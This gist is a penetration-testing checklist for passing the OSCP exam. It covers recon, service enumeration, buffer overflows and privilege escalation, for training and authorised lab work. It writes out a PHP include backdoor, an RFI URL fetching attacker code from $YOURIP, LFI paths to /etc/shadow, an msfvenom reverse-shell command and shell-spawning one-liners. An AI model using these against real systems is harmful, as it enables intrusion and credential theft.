Skip to content

Instantly share code, notes, and snippets.

@meldridge

meldridge/how-to-oscp-final.md

Forked from unfo/how-to-oscp-final.md
Last active April 12, 2024 02:06
Show Gist options
  • Save meldridge/d45a1886662a0b59f29bb94114163a0e to your computer and use it in GitHub Desktop.
Save meldridge/d45a1886662a0b59f29bb94114163a0e to your computer and use it in GitHub Desktop.
Download ZIP
How to pass the OSCP
Raw
how-to-oscp-final.md

UPDATE: Excellent resource here: https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Escalate
  5. Document it

Time yourself

Set a timer for 1hr, repeating. Each time it goes off, stop and evaluate your progress. If you haven't made any progress for 2 hours, move on to the next machine.

This is important. Getting stuck due to tunnel vision is extremely common during the exam. This isn't the labs - you don't have time to waste diving down rabbit holes.

Recon

DNS

Reverse lookup of entire provided range:

dig.sh <ips.txt>

for ip in $(cat ips.txt); do nslookup $ip <nameserver>; done

Port Scans

Run dark_enum.py (unicornscan of full port range)

  1. Actually read the intensive nmap scan
  2. Actually read Nikto/Dirb/nmap NSE script output
  3. Run the port scan again if you think something might have been missed

Enumerating

This is the essential part of penetration. Find out what is available and how you could punch through it with minimum ease.

DO NOT SKIP STEPS.

DO NOT PASS GO.

SEARCH ALL THE VERSIONS WITH searchsploit (or google -> site:exploit-db.com APP VERSION)

HTTP - 80, 8080, 8000

curl -i ${IP}/robots.txt

Note down Server and other module versions.

searchsploit them ALL.

Visit all URLs from robots.txt.

nikto -host $IP

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt

if nothing, find more web word lists.

Browse the site but keep an eye on the burp window / source code / cookies etc.

Things to be on look for:

  • Default credentials for software
  • SQL-injectable GET/POST params
  • LFI/RFI through ?page=foo type params
  • LFI:
    • /etc/passwd | /etc/shadow insta-win
    • /var/www/html/config.php or similar paths to get SQL etc creds
    • ?page=php://filter/convert.base64-encode/resource=../config.php
    • ../../../../../boot.ini to find out windows version
  • RFI:
    • Have your PHP/cgi downloader ready
    • <?php include $_GET['inc']; ?> simplest backdoor to keep it dynamic without anything messing your output
    • Then you can just http://$IP/inc.php?inc=http://$YOURIP/bg.php and have full control with minimal footprint on target machine
    • get phpinfo()

HTTPS - 443

Heartbleed / CRIME / Other similar attacks

Read the actual SSL CERT to:

  • find out potential correct vhost to GET
  • is the clock skewed
  • any names that could be usernames for bruteforce/guessing.

FTP - 21

  • Anonymous login
  • Enumerate the hell out of the machine!
    • OS version
    • Other software you can find on the machine (Prog Files, yum.log, /bin)
    • password files
    • DLLs for msfpescan / BOF targets
  • Do you have UPLOAD potential?
    • Can you trigger execution of uploads?
    • Swap binaries?
  • Vulnerabilities in version / RCE / #WINNING?-D

SMB - 139, 445

enum4linux -a $IP

Read through the report and search for versions of things => searchsploit

smbclient -L $IP

Mount shares

mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "//10.10.10.10/My Share" /mnt/cifs

Can you access shares?

  • Directly exploitable MSxx-xxx versions?
    • Worth burning MSF strike?

SNMP - UDP 169

  • Try to enumerate windows shares / network info

Quick test of communities:

onesixtyone

Full discovery of everything you can:

snmp-check

TFTP - UDP 69

  • Read / Write access?
    • Pretty much same things as FTP

SSH - 22

Unless you get a MOTD or a broken sshd version, you are SOOL and this is likely just a secondary access point once you break something else.

Email - 25, 110/995 or 143/993

SMTP, POP3(s) and IMAP(s) are good for enumerating users.

Also: CHECK VERSIONS and searchsploit

Buffer Overflow

  1. Determine length of overflow trigger w/ binary search "A"x1000
  2. Determine exact EIP with pattern_create.rb & pattern_offset.rb
  3. Determine badchars to make sure all of your payload is getting through (Do not skip this step)
  4. Develop exploit
  • Is the payload right at ESP
    • JMP ESP
  • Is the payload before ESP
    • sub ESP, 200 and then JMP ESP
    • or
    • call [ESP-200]
  1. msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
  • Make sure it fits your payload length above
  1. Gain shell, local priv esc or rooted already?

Limited Shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'

Upgrading from limited shell to full TTY

(Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)

In reverse shell

  • $ python -c 'import pty; pty.spawn("/bin/bash")'
  • Ctrl-Z

In Kali

  • $ stty raw -echo
  • $ fg

In reverse shell

  • $ reset
  • $ export SHELL=bash
  • $ export TERM=xterm-256color
  • $ stty rows X columns Y

Useful links:

Privilege Escalation

Linux

  1. Check current access first:
  • Am I in sudoers?
  • Do I have sudoedit access to useful files?
  1. Enumerate!

Good resources:

If still stuck, try Dirty COW: https://github.com/dirtycow/dirtycow.github.io/wiki

Windows

  1. Check current access first:
  • Am I already Administrator?
  • Am I in Remote Desktop Users?
  1. Enumerate!

Good resources:

Misc tools

  • cewl for crawling a site for bruteforcing user/password
  • don't forget about nmap scripts!
    • e.g. --script smtp-commands or --script auth-owners
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment